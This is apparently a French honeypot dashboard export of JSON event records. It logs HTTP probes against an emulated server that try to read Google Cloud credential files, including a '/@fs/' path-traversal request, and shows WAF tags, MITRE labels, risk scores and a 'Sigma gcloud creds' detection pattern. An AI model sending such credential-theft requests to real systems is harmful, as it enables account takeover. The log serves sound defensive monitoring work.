"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1499 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1499"
],
"tags_summary_labels_fr": [
"MITRE-T1499"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1499",
"mitre_technique": "T1499",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/home\/ubuntu\/.config\/gcloud\/application_def\u2026",
"evidence_snippet": "GET \/@fs\/home\/ubuntu\/.config\/gcloud\/application_default_credentials.json?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-ag",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:10 UTC
TCP
8080 · HTTP
Flood / DDoS
http flood · via HTTP:8080 · (tentative d'exploit) · → /root/.config/gcloud/application_default_creden…
Élevée
Moyen · 63
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1499
TA0001
TA0002
Protocole
GET /root/.config/gcloud/application_default_credentials.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
net_web_probe
Cible HTTP
GET
/root/.config/gcloud/application_default_credentials.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/root/.config/gcloud/application_default_credentials.json
Pourquoi cette classification : Type « http_flood » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 63
Confiance : Confiance 100 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1499
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /root/.config/gcloud/application_default_credentials.json HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /root/.config/gcloud/application_default_credentials.json HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0
Requête brute (extrait)
GET /root/.config/gcloud/application_default_credentials.json HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 4,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "f147117131bca5c846e67d4c514a607240ecd6cd",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 254,
"payload_entropy": 5.333852511539901,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 84,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 63,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "f24aa19b861b9f57d88ee4561751cd3e6d0a2752",
"event_fingerprint": "cfbc0a2c4774fa67e7cbe0169ada8e02d1585aa5",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 122,
"precision_signals": [
"MITRE-T1499"
],
"kb_rule_ids": [
"MITRE-T1499"
],
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 63
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "8766847982d0487db978cea6da8dc39e",
"path_pattern_hash": "814dc9b104f017f07fb4937583bfc32c"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 63
},
"payload_preview": "GET \/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 ",
"method": "GET",
"path": "\/root\/.config\/gcloud\/application_default_credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"request_sample": "GET \/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0",
"evidence": {
"method": "GET",
"path": "\/root\/.config\/gcloud\/application_default_credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"request_sample": "GET \/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1499"
],
"mitre": "T1499",
"threat_family": [
"ddos"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f29eae759663a27147979d1b8b86010ac50e7efb",
"protocol_details": {
"http_method": "GET",
"http_path": "\/root\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0",
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/root\/.config\/gcloud\/application_default_creden\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 63\/100 (Moyen) \u2014 MITRE T1499 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 63
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 63,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1499"
],
"tags_summary_labels_fr": [
"MITRE-T1499"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1499",
"mitre_technique": "T1499",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/root\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/root\/.config\/gcloud\/application_default_creden\u2026",
"evidence_snippet": "GET \/root\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 84 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:10 UTC
TCP
8080 · HTTP
Sonde fichier credential / clé
credential file probe · via HTTP:8080 · (tentative d'exploit) · → /root/.config/gcloud/credentials.db
Élevée
Moyen · 64
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
GET /root/.config/gcloud/credentials.db UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
net_web_probe
Cible HTTP
GET
/root/.config/gcloud/credentials.db
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/root/.config/gcloud/credentials.db
Pourquoi cette classification : Sonde fichier sensible: fichier credential/clé · Règle WAF « rce-0 » · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 64
Confiance : Confiance 100 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0876
Upstream
Waf Score
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
Sigma gcloud creds
Ligne de requête
GET /root/.config/gcloud/credentials.db HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /root/.config/gcloud/credentials.db HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win6
Requête brute (extrait)
GET /root/.config/gcloud/credentials.db HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 4,
"http_path_ext": "db",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "a03499c448024e35febdd8b98284df7e0069ee3a",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 232,
"payload_entropy": 5.321411021107888,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 84,
"risk_classification": 82,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 84,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 64,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "01ce65f598dd9ec5c533c7541b7a7f2dd75291aa",
"event_fingerprint": "4d8580120304af168edba11c0193ccdf990af79f",
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab rce-0 \u00bb \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 139,
"precision_signals": [
"pat-0876",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"pat-0876",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0876"
],
"matched_pattern_names": [
"Sigma gcloud creds"
],
"pattern_ids": [
"pat-0876"
],
"confidence_breakdown": {
"waf": 84,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 64
},
"named_classification_skipped": false,
"classification_parent": "lfi_attack",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "98e8ffff896a450fa630e05bd1c43b29",
"path_pattern_hash": "f42d72fe4ee583f083c9f44c705f768e"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 64
},
"payload_preview": "GET \/root\/.config\/gcloud\/credentials.db HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"method": "GET",
"path": "\/root\/.config\/gcloud\/credentials.db",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/root\/.config\/gcloud\/credentials.db HTTP\/1.1",
"request_sample": "GET \/root\/.config\/gcloud\/credentials.db HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/root\/.config\/gcloud\/credentials.db HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"evidence": {
"method": "GET",
"path": "\/root\/.config\/gcloud\/credentials.db",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/root\/.config\/gcloud\/credentials.db HTTP\/1.1",
"request_sample": "GET \/root\/.config\/gcloud\/credentials.db HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/root\/.config\/gcloud\/credentials.db HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab rce-0 \u00bb \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "289f47c61e38ed80debe9be749ec598bff024a0e",
"protocol_details": {
"http_method": "GET",
"http_path": "\/root\/.config\/gcloud\/credentials.db",
"request_line": "GET \/root\/.config\/gcloud\/credentials.db HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/root\/.config\/gcloud\/credentials.db HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"attack_vector": "credential file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/root\/.config\/gcloud\/credentials.db",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab rce-0 \u00bb \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: fichier credential\/cl\u00e9 \u00b7 R\u00e8gle WAF \u00ab rce-0 \u00bb \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 64\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 84,
"classification": 82,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 64
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 64,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"pat-0876",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"pat-0876",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/root\/.config\/gcloud\/credentials.db",
"request_line": "GET \/root\/.config\/gcloud\/credentials.db HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "credential file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/root\/.config\/gcloud\/credentials.db",
"evidence_snippet": "GET \/root\/.config\/gcloud\/credentials.db HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win6",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 84 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:10 UTC
TCP
8080 · HTTP
Flood / DDoS
http flood · via HTTP:8080 · (tentative d'exploit) · → /home/ubuntu/.config/gcloud/application_default…
Élevée
Moyen · 63
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1499
TA0001
TA0002
Protocole
GET /home/ubuntu/.config/gcloud/application_default_credentials.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
net_web_probe
Cible HTTP
GET
/home/ubuntu/.config/gcloud/application_default_credentials.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/home/ubuntu/.config/gcloud/application_default_credentials.json
Pourquoi cette classification : Type « http_flood » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 63
Confiance : Confiance 100 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1499
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /home/ubuntu/.config/gcloud/application_default_credentials.json HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /home/ubuntu/.config/gcloud/application_default_credentials.json HTTP/1.1
connection: close
accept: */*
user-agent: Mozil
Requête brute (extrait)
GET /home/ubuntu/.config/gcloud/application_default_credentials.json HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:808
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 5,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "b7490f52df1adabaa30cbd4bb65cae0873da5a4d",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 261,
"payload_entropy": 5.353973273385373,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 84,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 63,
"tag_count": 4,
"anomaly_count": 0,
